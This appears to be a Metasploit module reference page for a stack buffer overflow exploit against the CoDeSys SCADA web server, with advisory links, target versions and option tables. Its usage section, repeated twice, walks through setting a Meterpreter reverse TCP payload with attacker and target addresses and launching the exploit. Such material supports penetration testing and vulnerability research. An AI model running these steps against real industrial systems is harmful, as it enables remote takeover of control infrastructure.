SCADA 3S CoDeSys CmpWebServer <= v3.4 SP4 Patch 2 Stack Buffer Overflow
This module exploits a remote stack buffer overflow vulnerability in 3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9.
Exploit Rank
- Normal
Exploit Authors
- Luigi Auriemma < >
- Celil UNUVER < >
- TecR0c < roccogiovannicalvi [at] gmail.com >
- sinn3r < sinn3r [at] metasploit.com >
- Michael Coppola < >
Vulnerability References
- OSVDB-77387
- http://aluigi.altervista.org/adv/codesys_1-adv.txt
- EDB-18187
- http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf
- http://www.us-cert.gov/control_systems/pdf/ICSA-12-006-01.pdf
Exploit Targets
- 0 - CoDeSys v2.3 on Windows XP SP3
- 1 - CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/scada/codesys_web_server
msf exploit(codesys_web_server) > show payloads
msf exploit(codesys_web_server) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(codesys_web_server) > set LHOST [MY IP ADDRESS]
msf exploit(codesys_web_server) > set RHOST [TARGET IP]
msf exploit(codesys_web_server) > show targets
msf exploit(codesys_web_server) > set TARGET [TARGET ID]
msf exploit(codesys_web_server) > exploit
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msf > use exploit/windows/scada/codesys_web_server
msf exploit(codesys_web_server) > show payloads
msf exploit(codesys_web_server) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(codesys_web_server) > set LHOST [MY IP ADDRESS]
msf exploit(codesys_web_server) > set RHOST [TARGET IP]
msf exploit(codesys_web_server) > show targets
msf exploit(codesys_web_server) > set TARGET [TARGET ID]
msf exploit(codesys_web_server) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 8080) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |